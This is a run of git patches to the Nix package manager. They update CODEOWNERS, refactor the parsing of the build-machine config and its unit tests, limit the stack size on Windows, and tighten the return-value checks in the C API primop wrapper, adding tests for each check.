Subject: [PATCH 180/528] CODEOWNERS: add fricklerhandwerk for documentation
 (#10759)

---
 .github/CODEOWNERS | 11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS
index 59db217d968..99ca670e08f 100644
--- a/.github/CODEOWNERS
+++ b/.github/CODEOWNERS
@@ -11,7 +11,16 @@
 .github/CODEOWNERS @edolstra
 
 # Documentation of built-in functions
-src/libexpr/primops.cc @roberth
+src/libexpr/primops.cc @roberth @fricklerhandwerk
+
+# Documentation of settings
+src/libexpr/eval-settings.hh @fricklerhandwerk
+src/libstore/globals.hh @fricklerhandwerk
+
+# Documentation
+doc/manual @fricklerhandwerk
+maintainers/*.md @fricklerhandwerk
+src/**/*.md @fricklerhandwerk
 
 # Libstore layer
 /src/libstore @thufschmitt @ericson2314

From f2bcebc4503c72ba8ad0406058db31a4f883ad0b Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Wed, 22 May 2024 23:12:23 -0400
Subject: [PATCH 181/528] Restore exposing machine file parsing

This was accidentally removed in
e989c83b44d7c4d8ffe2e5f4231e4861c5f7732f. I restored it and also did a
few other cleanups:

- Make a static method for namespacing purposes

- Put the test files in the data dir with the other test data

- Avoid mutating globals in the machine config tests

This will be used by Hydra.
---
 src/libstore/machines.cc                      | 19 ++--
 src/libstore/machines.hh                      | 22 ++++-
 .../machines/bad_format}                      |  0
 .../machines.valid => data/machines/valid}    |  0
 tests/unit/libstore/machines.cc               | 88 ++++++++-----------
 .../libutil-support/tests/characterization.hh |  4 +-
 6 files changed, 72 insertions(+), 61 deletions(-)
 rename tests/unit/libstore/{test-data/machines.bad_format => data/machines/bad_format} (100%)
 rename tests/unit/libstore/{test-data/machines.valid => data/machines/valid} (100%)

diff --git a/src/libstore/machines.cc b/src/libstore/machines.cc
index 64476224221..b4df658b152 100644
--- a/src/libstore/machines.cc
+++ b/src/libstore/machines.cc
@@ -131,7 +131,7 @@ static std::vector<std::string> expandBuilderLines(const std::string & builders)
     return result;
 }
 
-static Machine parseBuilderLine(const std::string & line)
+static Machine parseBuilderLine(const std::set<std::string> & defaultSystems, const std::string & line)
 {
     const auto tokens = tokenizeString<std::vector<std::string>>(line);
 
@@ -170,7 +170,7 @@ static Machine parseBuilderLine(const std::string & line)
 
     return {
         tokens[0],
-        isSet(1) ? tokenizeString<std::set<std::string>>(tokens[1], ",") : std::set<std::string>{settings.thisSystem},
+        isSet(1) ? tokenizeString<std::set<std::string>>(tokens[1], ",") : defaultSystems,
         isSet(2) ? tokens[2] : "",
         isSet(3) ? parseUnsignedIntField(3) : 1U,
         isSet(4) ? parseFloatField(4) : 1.0f,
@@ -180,17 +180,24 @@ static Machine parseBuilderLine(const std::string & line)
     };
 }
 
-static Machines parseBuilderLines(const std::vector<std::string> & builders)
+static Machines parseBuilderLines(const std::set<std::string> & defaultSystems, const std::vector<std::string> & builders)
 {
     Machines result;
-    std::transform(builders.begin(), builders.end(), std::back_inserter(result), parseBuilderLine);
+    std::transform(
+        builders.begin(), builders.end(), std::back_inserter(result),
+        [&](auto && line) { return parseBuilderLine(defaultSystems, line); });
     return result;
 }
 
+Machines Machine::parseConfig(const std::set<std::string> & defaultSystems, const std::string & s)
+{
+    const auto builderLines = expandBuilderLines(s);
+    return parseBuilderLines(defaultSystems, builderLines);
+}
+
 Machines getMachines()
 {
-    const auto builderLines = expandBuilderLines(settings.builders);
-    return parseBuilderLines(builderLines);
+    return Machine::parseConfig({settings.thisSystem}, settings.builders);
 }
 
 }
diff --git a/src/libstore/machines.hh b/src/libstore/machines.hh
index 97980df8dc0..2a55c445667 100644
--- a/src/libstore/machines.hh
+++ b/src/libstore/machines.hh
@@ -8,6 +8,10 @@ namespace nix {
 
 class Store;
 
+struct Machine;
+
+typedef std::vector<Machine> Machines;
+
 struct Machine {
 
     const StoreReference storeUri;
@@ -63,12 +67,22 @@ struct Machine {
      * ```
      */
     ref<Store> openStore() const;
-};
-
-typedef std::vector<Machine> Machines;
 
-void parseMachines(const std::string & s, Machines & machines);
+    /**
+     * Parse a machine configuration.
+     *
+     * Every machine is specified on its own line, and lines beginning
+     * with `@` are interpreted as paths to other configuration files in
+     * the same format.
+     */
+    static Machines parseConfig(const std::set<std::string> & defaultSystems, const std::string & config);
+};
 
+/**
+ * Parse machines from the global config
+ *
+ * @todo Remove, globals are bad.
+ */
 Machines getMachines();
 
 }
diff --git a/tests/unit/libstore/test-data/machines.bad_format b/tests/unit/libstore/data/machines/bad_format
similarity index 100%
rename from tests/unit/libstore/test-data/machines.bad_format
rename to tests/unit/libstore/data/machines/bad_format
diff --git a/tests/unit/libstore/test-data/machines.valid b/tests/unit/libstore/data/machines/valid
similarity index 100%
rename from tests/unit/libstore/test-data/machines.valid
rename to tests/unit/libstore/data/machines/valid
diff --git a/tests/unit/libstore/machines.cc b/tests/unit/libstore/machines.cc
index 4107ba65561..2307f4d629d 100644
--- a/tests/unit/libstore/machines.cc
+++ b/tests/unit/libstore/machines.cc
@@ -1,8 +1,9 @@
 #include "machines.hh"
-#include "globals.hh"
 #include "file-system.hh"
 #include "util.hh"
 
+#include "tests/characterization.hh"
+
 #include <gtest/gtest.h>
 #include <gmock/gmock-matchers.h>
 
@@ -14,23 +15,13 @@ using testing::SizeIs;
 
 using namespace nix;
 
-class Environment : public ::testing::Environment {
-  public:
-    void SetUp() override { settings.thisSystem = "TEST_ARCH-TEST_OS"; }
-};
-
-testing::Environment* const foo_env =
-    testing::AddGlobalTestEnvironment(new Environment);
-
 TEST(machines, getMachinesWithEmptyBuilders) {
-    settings.builders = "";
-    Machines actual = getMachines();
+    auto actual = Machine::parseConfig({}, "");
     ASSERT_THAT(actual, SizeIs(0));
 }
 
 TEST(machines, getMachinesUriOnly) {
-    settings.builders = "nix@scratchy.labs.cs.uu.nl";
-    Machines actual = getMachines();
+    auto actual = Machine::parseConfig({"TEST_ARCH-TEST_OS"}, "nix@scratchy.labs.cs.uu.nl");
     ASSERT_THAT(actual, SizeIs(1));
     EXPECT_THAT(actual[0], Field(&Machine::storeUri, Eq(StoreReference::parse("ssh://nix@scratchy.labs.cs.uu.nl"))));
     EXPECT_THAT(actual[0], Field(&Machine::systemTypes, ElementsAre("TEST_ARCH-TEST_OS")));
@@ -43,8 +34,7 @@ TEST(machines, getMachinesUriOnly) {
 }
 
 TEST(machines, getMachinesDefaults) {
-    settings.builders = "nix@scratchy.labs.cs.uu.nl - - - - - - -";
-    Machines actual = getMachines();
+    auto actual = Machine::parseConfig({"TEST_ARCH-TEST_OS"}, "nix@scratchy.labs.cs.uu.nl - - - - - - -");
     ASSERT_THAT(actual, SizeIs(1));
     EXPECT_THAT(actual[0], Field(&Machine::storeUri, Eq(StoreReference::parse("ssh://nix@scratchy.labs.cs.uu.nl"))));
     EXPECT_THAT(actual[0], Field(&Machine::systemTypes, ElementsAre("TEST_ARCH-TEST_OS")));
@@ -68,26 +58,24 @@ MATCHER_P(AuthorityMatches, authority, "") {
 }
 
 TEST(machines, getMachinesWithNewLineSeparator) {
-    settings.builders = "nix@scratchy.labs.cs.uu.nl\nnix@itchy.labs.cs.uu.nl";
-    Machines actual = getMachines();
+    auto actual = Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl\nnix@itchy.labs.cs.uu.nl");
     ASSERT_THAT(actual, SizeIs(2));
     EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl"))));
     EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@itchy.labs.cs.uu.nl"))));
 }
 
 TEST(machines, getMachinesWithSemicolonSeparator) {
-    settings.builders = "nix@scratchy.labs.cs.uu.nl ; nix@itchy.labs.cs.uu.nl";
-    Machines actual = getMachines();
+    auto actual = Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl ; nix@itchy.labs.cs.uu.nl");
     EXPECT_THAT(actual, SizeIs(2));
     EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl"))));
     EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@itchy.labs.cs.uu.nl"))));
 }
 
 TEST(machines, getMachinesWithCorrectCompleteSingleBuilder) {
-    settings.builders = "nix@scratchy.labs.cs.uu.nl     i686-linux      "
-                        "/home/nix/.ssh/id_scratchy_auto        8 3 kvm "
-                        "benchmark SSH+HOST+PUBLIC+KEY+BASE64+ENCODED==";
-    Machines actual = getMachines();
+    auto actual = Machine::parseConfig({},
+        "nix@scratchy.labs.cs.uu.nl     i686-linux      "
+        "/home/nix/.ssh/id_scratchy_auto        8 3 kvm "
+        "benchmark SSH+HOST+PUBLIC+KEY+BASE64+ENCODED==");
     ASSERT_THAT(actual, SizeIs(1));
     EXPECT_THAT(actual[0], Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl")));
     EXPECT_THAT(actual[0], Field(&Machine::systemTypes, ElementsAre("i686-linux")));
@@ -101,11 +89,10 @@ TEST(machines, getMachinesWithCorrectCompleteSingleBuilder) {
 
 TEST(machines,
      getMachinesWithCorrectCompleteSingleBuilderWithTabColumnDelimiter) {
-    settings.builders =
+    auto actual = Machine::parseConfig({},
         "nix@scratchy.labs.cs.uu.nl\ti686-linux\t/home/nix/.ssh/"
         "id_scratchy_auto\t8\t3\tkvm\tbenchmark\tSSH+HOST+PUBLIC+"
-        "KEY+BASE64+ENCODED==";
-    Machines actual = getMachines();
+        "KEY+BASE64+ENCODED==");
     ASSERT_THAT(actual, SizeIs(1));
     EXPECT_THAT(actual[0], Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl")));
     EXPECT_THAT(actual[0], Field(&Machine::systemTypes, ElementsAre("i686-linux")));
@@ -118,10 +105,10 @@ TEST(machines,
 }
 
 TEST(machines, getMachinesWithMultiOptions) {
-    settings.builders = "nix@scratchy.labs.cs.uu.nl Arch1,Arch2 - - - "
-                        "SupportedFeature1,SupportedFeature2 "
-                        "MandatoryFeature1,MandatoryFeature2";
-    Machines actual = getMachines();
+    auto actual = Machine::parseConfig({},
+        "nix@scratchy.labs.cs.uu.nl Arch1,Arch2 - - - "
+        "SupportedFeature1,SupportedFeature2 "
+        "MandatoryFeature1,MandatoryFeature2");
     ASSERT_THAT(actual, SizeIs(1));
     EXPECT_THAT(actual[0], Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl")));
     EXPECT_THAT(actual[0], Field(&Machine::systemTypes, ElementsAre("Arch1", "Arch2")));
@@ -130,24 +117,28 @@ TEST(machines, getMachinesWithMultiOptions) {
 }
 
 TEST(machines, getMachinesWithIncorrectFormat) {
-    settings.builders = "nix@scratchy.labs.cs.uu.nl - - eight";
-    EXPECT_THROW(getMachines(), FormatError);
-    settings.builders = "nix@scratchy.labs.cs.uu.nl - - -1";
-    EXPECT_THROW(getMachines(), FormatError);
-    settings.builders = "nix@scratchy.labs.cs.uu.nl - - 8 three";
-    EXPECT_THROW(getMachines(), FormatError);
-    settings.builders = "nix@scratchy.labs.cs.uu.nl - - 8 -3";
-    EXPECT_THROW(getMachines(), UsageError);
-    settings.builders = "nix@scratchy.labs.cs.uu.nl - - 8 3 - - BAD_BASE64";
-    EXPECT_THROW(getMachines(), FormatError);
+    EXPECT_THROW(
+        Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl - - eight"),
+        FormatError);
+    EXPECT_THROW(
+        Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl - - -1"),
+        FormatError);
+    EXPECT_THROW(
+        Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl - - 8 three"),
+        FormatError);
+    EXPECT_THROW(
+        Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl - - 8 -3"),
+        UsageError);
+    EXPECT_THROW(
+        Machine::parseConfig({}, "nix@scratchy.labs.cs.uu.nl - - 8 3 - - BAD_BASE64"),
+        FormatError);
 }
 
 TEST(machines, getMachinesWithCorrectFileReference) {
-    auto path = absPath("tests/unit/libstore/test-data/machines.valid");
+    auto path = absPath(getUnitTestData() + "/machines/valid");
     ASSERT_TRUE(pathExists(path));
 
-    settings.builders = std::string("@") + path;
-    Machines actual = getMachines();
+    auto actual = Machine::parseConfig({}, "@" + path);
     ASSERT_THAT(actual, SizeIs(3));
     EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl"))));
     EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@itchy.labs.cs.uu.nl"))));
@@ -158,18 +149,17 @@ TEST(machines, getMachinesWithCorrectFileReferenceToEmptyFile) {
     auto path = "/dev/null";
     ASSERT_TRUE(pathExists(path));
 
-    settings.builders = std::string("@") + path;
-    Machines actual = getMachines();
+    auto actual = Machine::parseConfig({}, std::string{"@"} + path);
     ASSERT_THAT(actual, SizeIs(0));
 }
 
 TEST(machines, getMachinesWithIncorrectFileReference) {
-    settings.builders = std::string("@") + absPath("/not/a/file");
-    Machines actual = getMachines();
+    auto actual = Machine::parseConfig({}, "@" + absPath("/not/a/file"));
     ASSERT_THAT(actual, SizeIs(0));
 }
 
 TEST(machines, getMachinesWithCorrectFileReferenceToIncorrectFile) {
-    settings.builders = std::string("@") + absPath("tests/unit/libstore/test-data/machines.bad_format");
-    EXPECT_THROW(getMachines(), FormatError);
+    EXPECT_THROW(
+        Machine::parseConfig({}, "@" + absPath(getUnitTestData() + "/machines/bad_format")),
+        FormatError);
 }
diff --git a/tests/unit/libutil-support/tests/characterization.hh b/tests/unit/libutil-support/tests/characterization.hh
index 9d6c850f017..c2f686dbf92 100644
--- a/tests/unit/libutil-support/tests/characterization.hh
+++ b/tests/unit/libutil-support/tests/characterization.hh
@@ -12,7 +12,7 @@ namespace nix {
  * The path to the unit test data directory. See the contributing guide
  * in the manual for further details.
  */
-static Path getUnitTestData() {
+static inline Path getUnitTestData() {
     return getEnv("_NIX_TEST_UNIT_DATA").value();
 }
 
@@ -21,7 +21,7 @@ static Path getUnitTestData() {
  * against them. See the contributing guide in the manual for further
  * details.
  */
-static bool testAccept() {
+static inline bool testAccept() {
     return getEnv("_NIX_TEST_ACCEPT") == "1";
 }
 

From 5f68e6d69fe734565cf64705d93a99546a88f97c Mon Sep 17 00:00:00 2001
From: PoweredByPie <poweredbypie@users.noreply.github.com>
Date: Thu, 23 May 2024 03:54:35 -0700
Subject: [PATCH 182/528] Get max stack size in `setStackSize` to match Linux

---
 src/libutil/current-process.cc | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/src/libutil/current-process.cc b/src/libutil/current-process.cc
index db311156061..9efb68d47a2 100644
--- a/src/libutil/current-process.cc
+++ b/src/libutil/current-process.cc
@@ -82,19 +82,23 @@ void setStackSize(size_t stackSize)
         }
     }
     #else
+    ULONG_PTR stackLow, stackHigh;
+    GetCurrentThreadStackLimits(&stackLow, &stackHigh);
+    ULONG maxStackSize = stackHigh - stackLow;
     ULONG currStackSize = 0;
     // This retrieves the current promised stack size
     SetThreadStackGuarantee(&currStackSize);
     if (currStackSize < stackSize) {
         savedStackSize = currStackSize;
-        ULONG newStackSize = stackSize;
+        ULONG newStackSize = std::min(static_cast<ULONG>(stackSize), maxStackSize);
         if (SetThreadStackGuarantee(&newStackSize) == 0) {
             logger->log(
                 lvlError,
                 HintFmt(
-                    "Failed to increase stack size from %1% to %2%: %3%",
+                    "Failed to increase stack size from %1% to %2% (maximum allowed stack size: %3%): %4%",
                     savedStackSize,
                     stackSize,
+                    maxStackSize,
                     std::to_string(GetLastError())
                 ).str()
             );

From 5384ceacc3fa2609d5b64ee005dee554656f8836 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 23 May 2024 11:28:25 -0400
Subject: [PATCH 183/528] Document field being initialized in `Machine`
 constructor

---
 src/libstore/machines.cc | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/src/libstore/machines.cc b/src/libstore/machines.cc
index b4df658b152..20f24e8833b 100644
--- a/src/libstore/machines.cc
+++ b/src/libstore/machines.cc
@@ -168,14 +168,24 @@ static Machine parseBuilderLine(const std::set<std::string> & defaultSystems, co
     if (!isSet(0))
         throw FormatError("bad machine specification: store URL was not found at the first column of a row: '%s'", line);
 
+    // TODO use designated initializers, once C++ supports those with
+    // custom constructors.
     return {
+        // `storeUri`
         tokens[0],
+        // `systemTypes`
         isSet(1) ? tokenizeString<std::set<std::string>>(tokens[1], ",") : defaultSystems,
+        // `sshKey`
         isSet(2) ? tokens[2] : "",
+        // `maxJobs`
         isSet(3) ? parseUnsignedIntField(3) : 1U,
+        // `speedFactor`
         isSet(4) ? parseFloatField(4) : 1.0f,
+        // `supportedFeatures`
         isSet(5) ? tokenizeString<std::set<std::string>>(tokens[5], ",") : std::set<std::string>{},
+        // `mandatoryFeatures`
         isSet(6) ? tokenizeString<std::set<std::string>>(tokens[6], ",") : std::set<std::string>{},
+        // `sshPublicHostKey`
         isSet(7) ? ensureBase64(7) : ""
     };
 }

From a942a34469b22491d381a517e86a17f3999a140a Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Thu, 23 May 2024 18:07:33 +0200
Subject: [PATCH 184/528] C API: Fix nix_c_primop_wrapper for strict
 initializers

https://github.com/NixOS/nix/pull/10555 added a check requiring
that output parameters always have an uninitialized Value as argument.

Unfortunately the output parameter of the primop callback received
a thunk instead.

See the comment for implementation considerations.
---
 src/libexpr-c/nix_api_value.cc     | 24 +++++++++++++++++---
 tests/unit/libexpr/nix_api_expr.cc | 35 ++++++++++++++++++++++++++++++
 2 files changed, 56 insertions(+), 3 deletions(-)

diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc
index 0366e502008..37e0012d197 100644
--- a/src/libexpr-c/nix_api_value.cc
+++ b/src/libexpr-c/nix_api_value.cc
@@ -73,10 +73,28 @@ static void nix_c_primop_wrapper(
     PrimOpFun f, void * userdata, nix::EvalState & state, const nix::PosIdx pos, nix::Value ** args, nix::Value & v)
 {
     nix_c_context ctx;
-    f(userdata, &ctx, (EvalState *) &state, (Value **) args, (Value *) &v);
-    /* TODO: In the future, this should throw different errors depending on the error code */
-    if (ctx.last_err_code != NIX_OK)
+
+    // v currently has a thunk, but the C API initializers require an uninitialized value.
+    //
+    // We can't destroy the thunk, because that makes it impossible to retry,
+    // which is needed for tryEval and for evaluation drivers that evaluate more
+    // than one value (e.g. an attrset with two derivations, both of which
+    // reference v).
+    //
+    // Instead we create a temporary value, and then assign the result to v.
+    // This does not give the primop definition access to the thunk, but that's
+    // ok because we don't see a need for this yet (e.g. inspecting thunks,
+    // or maybe something to make blackholes work better; we don't know).
+    nix::Value vTmp;
+
+    f(userdata, &ctx, (EvalState *) &state, (Value **) args, (Value *) &vTmp);
+
+    if (ctx.last_err_code != NIX_OK) {
+        /* TODO: Throw different errors depending on the error code */
         state.error<nix::EvalError>("Error from builtin function: %s", *ctx.last_err).atPos(pos).debugThrow();
+    }
+
+    v = vTmp;
 }
 
 PrimOp * nix_alloc_primop(
diff --git a/tests/unit/libexpr/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc
index 0818f1cabac..babc8c6a48a 100644
--- a/tests/unit/libexpr/nix_api_expr.cc
+++ b/tests/unit/libexpr/nix_api_expr.cc
@@ -191,4 +191,39 @@ TEST_F(nix_api_expr_test, nix_expr_realise_context)
     nix_realised_string_free(r);
 }
 
+const char * SAMPLE_USER_DATA = "whatever";
+
+static void primop_square(void * user_data, nix_c_context * context, EvalState * state, Value ** args, Value * ret)
+{
+    assert(context);
+    assert(state);
+    assert(user_data == SAMPLE_USER_DATA);
+    auto i = nix_get_int(context, args[0]);
+    nix_init_int(context, ret, i * i);
+}
+
+TEST_F(nix_api_expr_test, nix_expr_primop)
+{
+    PrimOp * primop =
+        nix_alloc_primop(ctx, primop_square, 1, "square", nullptr, "square an integer", (void *) SAMPLE_USER_DATA);
+    assert_ctx_ok();
+    Value * primopValue = nix_alloc_value(ctx, state);
+    assert_ctx_ok();
+    nix_init_primop(ctx, primopValue, primop);
+    assert_ctx_ok();
+
+    Value * three = nix_alloc_value(ctx, state);
+    assert_ctx_ok();
+    nix_init_int(ctx, three, 3);
+    assert_ctx_ok();
+
+    Value * result = nix_alloc_value(ctx, state);
+    assert_ctx_ok();
+    nix_value_call(ctx, state, primopValue, three, result);
+    assert_ctx_ok();
+
+    auto r = nix_get_int(ctx, result);
+    ASSERT_EQ(9, r);
+}
+
 } // namespace nixC

From 88842270454281c3541296bea87b46d553b42c3a Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Thu, 23 May 2024 18:31:20 +0200
Subject: [PATCH 185/528] C API: Require initialized value from primop
 definition

---
 src/libexpr-c/nix_api_value.cc     |  6 ++++++
 tests/unit/libexpr/nix_api_expr.cc | 31 ++++++++++++++++++++++++++++++
 2 files changed, 37 insertions(+)

diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc
index 37e0012d197..043c6a56825 100644
--- a/src/libexpr-c/nix_api_value.cc
+++ b/src/libexpr-c/nix_api_value.cc
@@ -94,6 +94,12 @@ static void nix_c_primop_wrapper(
         state.error<nix::EvalError>("Error from builtin function: %s", *ctx.last_err).atPos(pos).debugThrow();
     }
 
+    if (!vTmp.isValid()) {
+        state.error<nix::EvalError>("Implementation error in custom function: return value was not initialized")
+            .atPos(pos)
+            .debugThrow();
+    }
+
     v = vTmp;
 }
 
diff --git a/tests/unit/libexpr/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc
index babc8c6a48a..9d629b463a6 100644
--- a/tests/unit/libexpr/nix_api_expr.cc
+++ b/tests/unit/libexpr/nix_api_expr.cc
@@ -226,4 +226,35 @@ TEST_F(nix_api_expr_test, nix_expr_primop)
     ASSERT_EQ(9, r);
 }
 
+static void
+primop_bad_no_return(void * user_data, nix_c_context * context, EvalState * state, Value ** args, Value * ret)
+{
+}
+
+TEST_F(nix_api_expr_test, nix_expr_primop_bad_no_return)
+{
+    PrimOp * primop =
+        nix_alloc_primop(ctx, primop_bad_no_return, 1, "badNoReturn", nullptr, "a broken primop", nullptr);
+    assert_ctx_ok();
+    Value * primopValue = nix_alloc_value(ctx, state);
+    assert_ctx_ok();
+    nix_init_primop(ctx, primopValue, primop);
+    assert_ctx_ok();
+
+    Value * three = nix_alloc_value(ctx, state);
+    assert_ctx_ok();
+    nix_init_int(ctx, three, 3);
+    assert_ctx_ok();
+
+    Value * result = nix_alloc_value(ctx, state);
+    assert_ctx_ok();
+    nix_value_call(ctx, state, primopValue, three, result);
+    ASSERT_EQ(ctx->last_err_code, NIX_ERR_NIX_ERROR);
+    ASSERT_THAT(
+        ctx->last_err,
+        testing::Optional(
+            testing::HasSubstr("Implementation error in custom function: return value was not initialized")));
+    ASSERT_THAT(ctx->last_err, testing::Optional(testing::HasSubstr("badNoReturn")));
+}
+
 } // namespace nixC

From 8ef6efc1844a9782dbe265271020f6ffee571af0 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Thu, 23 May 2024 18:36:40 +0200
Subject: [PATCH 186/528] C API: Require non-thunk value from primop definition

---
 src/libexpr-c/nix_api_value.cc     |  9 +++++++
 tests/unit/libexpr/nix_api_expr.cc | 41 ++++++++++++++++++++++++++++++
 2 files changed, 50 insertions(+)

diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc
index 043c6a56825..fa24b44948f 100644
--- a/src/libexpr-c/nix_api_value.cc
+++ b/src/libexpr-c/nix_api_value.cc
@@ -100,6 +100,15 @@ static void nix_c_primop_wrapper(
             .debugThrow();
     }
 
+    if (vTmp.type() == nix::nThunk) {
+        // We might allow this in the future if it makes sense for the evaluator
+        // e.g. implementing tail recursion by returning a thunk to the next
+        // "iteration". Until then, this is most likely a mistake or misunderstanding.
+        state.error<nix::EvalError>("Implementation error in custom function: return value must not be a thunk")
+            .atPos(pos)
+            .debugThrow();
+    }
+
     v = vTmp;
 }
 
diff --git a/tests/unit/libexpr/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc
index 9d629b463a6..e78f2bf61aa 100644
--- a/tests/unit/libexpr/nix_api_expr.cc
+++ b/tests/unit/libexpr/nix_api_expr.cc
@@ -257,4 +257,45 @@ TEST_F(nix_api_expr_test, nix_expr_primop_bad_no_return)
     ASSERT_THAT(ctx->last_err, testing::Optional(testing::HasSubstr("badNoReturn")));
 }
 
+static void
+primop_bad_return_thunk(void * user_data, nix_c_context * context, EvalState * state, Value ** args, Value * ret)
+{
+    nix_init_apply(context, ret, args[0], args[1]);
+}
+TEST_F(nix_api_expr_test, nix_expr_primop_bad_return_thunk)
+{
+    PrimOp * primop =
+        nix_alloc_primop(ctx, primop_bad_return_thunk, 2, "badReturnThunk", nullptr, "a broken primop", nullptr);
+    assert_ctx_ok();
+    Value * primopValue = nix_alloc_value(ctx, state);
+    assert_ctx_ok();
+    nix_init_primop(ctx, primopValue, primop);
+    assert_ctx_ok();
+
+    Value * toString = nix_alloc_value(ctx, state);
+    assert_ctx_ok();
+    nix_expr_eval_from_string(ctx, state, "builtins.toString", ".", toString);
+    assert_ctx_ok();
+
+    Value * four = nix_alloc_value(ctx, state);
+    assert_ctx_ok();
+    nix_init_int(ctx, four, 4);
+    assert_ctx_ok();
+
+    Value * partial = nix_alloc_value(ctx, state);
+    assert_ctx_ok();
+    nix_value_call(ctx, state, primopValue, toString, partial);
+    assert_ctx_ok();
+
+    Value * result = nix_alloc_value(ctx, state);
+    assert_ctx_ok();
+    nix_value_call(ctx, state, partial, four, result);
+
+    ASSERT_EQ(ctx->last_err_code, NIX_ERR_NIX_ERROR);
+    ASSERT_THAT(
+        ctx->last_err,
+        testing::Optional(
+            testing::HasSubstr("Implementation error in custom function: return value must not be a thunk")));
+    ASSERT_THAT(ctx->last_err, testing::Optional(testing::HasSubstr("badReturnThunk")));
+}
 } // namespace nixC

From 4bc4fb40eac1f571ef94694a96a3bf4bf26ad22d Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Thu, 23 May 2024 18:53:33 +0200
Subject: [PATCH 187/528] C API: builtin -> custom function

Not all primops will be in `builtins`.
---
 src/libexpr-c/nix_api_value.cc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/libexpr-c/nix_api_value.cc b/src/libexpr-c/nix_api_value.cc
index fa24b44948f..978cf7f43a5 100644
--- a/src/libexpr-c/nix_api_value.cc
+++ b/src/libexpr-c/nix_api_value.cc
@@ -91,7 +91,7 @@ static void nix_c_primop_wrapper(
 
     if (ctx.last_err_code != NIX_OK) {
         /* TODO: Throw different errors depending on the error code */
-        state.error<nix::EvalError>("Error from builtin function: %s", *ctx.last_err).atPos(pos).debugThrow();
+        state.error<nix::EvalError>("Error from custom function: %s", *ctx.last_err).atPos(pos).debugThrow();
     }
 
     if (!vTmp.isValid()) {

From ab106c5ca3326c939467a1334aeb78f78485503e Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Thu, 23 May 2024 19:20:04 +0200
Subject: [PATCH 188/528] C API: Test arity 2 primop

---
 tests/unit/libexpr/nix_api_expr.cc | 59 ++++++++++++++++++++++++++++++
 1 file changed, 59 insertions(+)

diff --git a/tests/unit/libexpr/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc
index e78f2bf61aa..17ba610e430 100644
--- a/tests/unit/libexpr/nix_api_expr.cc
+++ b/tests/unit/libexpr/nix_api_expr.cc
@@ -226,6 +226,65 @@ TEST_F(nix_api_expr_test, nix_expr_primop)
     ASSERT_EQ(9, r);
 }
 
+static void primop_repeat(void * user_data, nix_c_context * context, EvalState * state, Value ** args, Value * ret)
+{
+    assert(context);
+    assert(state);
+    assert(user_data == SAMPLE_USER_DATA);
+
+    // Get the string to repeat
+    std::string s;
+    if (nix_get_string(context, args[0], OBSERVE_STRING(s)) != NIX_OK)
+        return;
+
+    // Get the number of times to repeat
+    auto n = nix_get_int(context, args[1]);
+    if (nix_err_code(context) != NIX_OK)
+        return;
+
+    // Repeat the string
+    std::string result;
+    for (int i = 0; i < n; ++i)
+        result += s;
+
+    nix_init_string(context, ret, result.c_str());
+}
+
+TEST_F(nix_api_expr_test, nix_expr_primop_arity_2)
+{
+    PrimOp * primop =
+        nix_alloc_primop(ctx, primop_repeat, 2, "repeat", nullptr, "repeat a string", (void *) SAMPLE_USER_DATA);
+    assert_ctx_ok();
+    Value * primopValue = nix_alloc_value(ctx, state);
+    assert_ctx_ok();
+    nix_init_primop(ctx, primopValue, primop);
+    assert_ctx_ok();
+
+    Value * hello = nix_alloc_value(ctx, state);
+    assert_ctx_ok();
+    nix_init_string(ctx, hello, "hello");
+    assert_ctx_ok();
+
+    Value * three = nix_alloc_value(ctx, state);
+    assert_ctx_ok();
+    nix_init_int(ctx, three, 3);
+    assert_ctx_ok();
+
+    Value * partial = nix_alloc_value(ctx, state);
+    assert_ctx_ok();
+    nix_value_call(ctx, state, primopValue, hello, partial);
+    assert_ctx_ok();
+
+    Value * result = nix_alloc_value(ctx, state);
+    assert_ctx_ok();
+    nix_value_call(ctx, state, partial, three, result);
+    assert_ctx_ok();
+
+    std::string r;
+    nix_get_string(ctx, result, OBSERVE_STRING(r));
+    ASSERT_STREQ("hellohellohello", r.c_str());
+}
+
 static void
 primop_bad_no_return(void * user_data, nix_c_context * context, EvalState * state, Value ** args, Value * ret)
 {

